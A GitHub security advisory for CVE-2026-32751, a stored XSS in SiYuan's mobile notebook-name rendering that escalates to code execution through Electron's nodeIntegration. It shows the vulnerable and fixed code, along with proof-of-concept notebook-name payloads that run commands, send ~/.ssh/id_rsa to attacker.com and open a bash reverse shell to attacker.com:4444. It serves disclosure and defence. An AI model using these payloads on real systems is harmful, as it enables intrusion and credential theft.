Skip to content

SiYuan Vulnerable to Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface

Moderate severity GitHub Reviewed Published Mar 14, 2026 in siyuan-note/siyuan • Updated Mar 16, 2026

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

<= 0.0.0-20260313024916-fd6526133bb3

Patched versions

None

Description

Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface

Summary

SiYuan's mobile file tree (MobileFiles.ts) renders notebook names via innerHTML without HTML escaping when processing renamenotebook WebSocket events. The desktop version (Files.ts) properly uses escapeHtml() for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree.

Since Electron is configured with nodeIntegration: true and contextIsolation: false, the injected JavaScript has full Node.js access, escalating stored XSS to full remote code execution. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well.

Affected Component

  • Vulnerable file: app/src/mobile/dock/MobileFiles.ts:77
  • Safe counterpart: app/src/layout/dock/Files.ts:104 (uses escapeHtml)
  • Backend (no escaping): kernel/api/notebook.go:104-116 (renameNotebook)
  • Electron config: app/electron/main.js:422-426 (nodeIntegration: true, contextIsolation: false)
  • Endpoint: POST /api/notebook/renameNotebook (authenticated)
  • Version: SiYuan <= 3.5.9

Vulnerable Code

Mobile — no escaping (MobileFiles.ts:77)

case "renamenotebook":
    this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name;
    break;

Desktop — properly escaped (Files.ts:104)

case "renamenotebook":
    this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);
    break;

Backend — sends unescaped name (notebook.go:104-116)

func renameNotebook(c *gin.Context) {
    // ...
    name := arg["name"].(string)
    err := model.RenameBox(notebook, name)
    // ...
    evt := util.NewCmdResult("renamenotebook", 0, util.PushModeBroadcast)
    evt.Data = map[string]interface{}{
        "box":  notebook,
        "name": name,  // Unescaped — sent directly to all clients
    }
    util.PushEvent(evt)
}

model.RenameBox() only validates length (512 chars max) and emptiness — no HTML sanitization.

Electron — Node.js in renderer (main.js:422-426)

webPreferences: {
    nodeIntegration: true,
    webviewTag: true,
    webSecurity: false,
    contextIsolation: false,
}

Any JavaScript executed via innerHTML has full access to require('child_process'), require('fs'), require('net'), etc.

Proof of Concept

Tested and confirmed on SiYuan v3.5.9 (Docker).

1. Set malicious notebook name (RCE payload)

POST /api/notebook/renameNotebook HTTP/1.1
Content-Type: application/json
Cookie: siyuan=<session>

{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
}

On Linux/macOS:

{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img src=x onerror=\"require('child_process').exec('id > /tmp/pwned')\">"
}

Confirmed: API accepts the name without escaping. The renamenotebook WebSocket event broadcasts the raw HTML to all connected clients.

2. Mobile client renders and executes

When any mobile client receives the renamenotebook event, MobileFiles.ts:77 sets innerHTML = data.data.name. The <img> tag's src=x fails to load, triggering onerror which calls require('child_process').exec()arbitrary OS command execution.

3. Verified event content

# Unauthenticated WebSocket listener receives:
{
    "cmd": "renamenotebook",
    "data": {
        "box": "20260309161535-do8qg95",
        "name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
    }
}

The HTML/JS payload is preserved verbatim in the WebSocket event.

4. Data exfiltration variant

{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img src=x onerror=\"fetch('https://attacker.com/exfil?k='+require('fs').readFileSync(require('os').homedir()+'/.ssh/id_rsa','utf8'))\">"
}

5. Reverse shell variant

{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\\"')\">"
}

Attack Scenario

  1. In a multi-user SiYuan deployment, an attacker with editor role renames a notebook with an RCE payload
  2. The renamenotebook event broadcasts the payload to ALL connected clients
  3. Any user viewing the file tree on the mobile interface (or desktop in narrow/mobile layout) triggers the payload
  4. nodeIntegration: true gives the injected JavaScript full OS access
  5. Attacker achieves arbitrary command execution on the victim's machine

Persistence: The notebook name is stored in the notebook's .siyuan/conf.json. The payload re-triggers every time the file tree renders on mobile — it survives restarts.

Sync vector: If the workspace is synced (SiYuan Cloud Sync or S3), the malicious notebook name propagates to all synced devices automatically.

Impact

  • Severity: CRITICAL (CVSS ~9.0)
  • Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
  • Full remote code execution on Electron desktop via nodeIntegration: true
  • Stored XSS — notebook names persist across sessions and survive restarts
  • Propagates via cloud sync to all synced devices
  • Affects all mobile interface users and desktop users in mobile/narrow layout
  • Inconsistent escaping — desktop is safe, mobile is not (indicates oversight)
  • Can steal files, credentials, SSH keys, install backdoors, open reverse shells

Suggested Fix

1. Apply the same escaping used in the desktop version

// Before (vulnerable):
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name;

// After (fixed):
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);

2. Sanitize notebook names on the backend

func RenameBox(boxID, name string) (err error) {
    name = util.EscapeHTML(name)  // Sanitize at the source
    // ...
}

3. Long-term: Harden Electron configuration

webPreferences: {
    nodeIntegration: false,
    contextIsolation: true,
    sandbox: true,
}

References

@88250 88250 published to siyuan-note/siyuan Mar 14, 2026
Published to the GitHub Advisory Database Mar 16, 2026
Reviewed Mar 16, 2026
Last updated Mar 16, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2026-32751

GHSA ID

GHSA-qr46-rcv3-4hq3

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.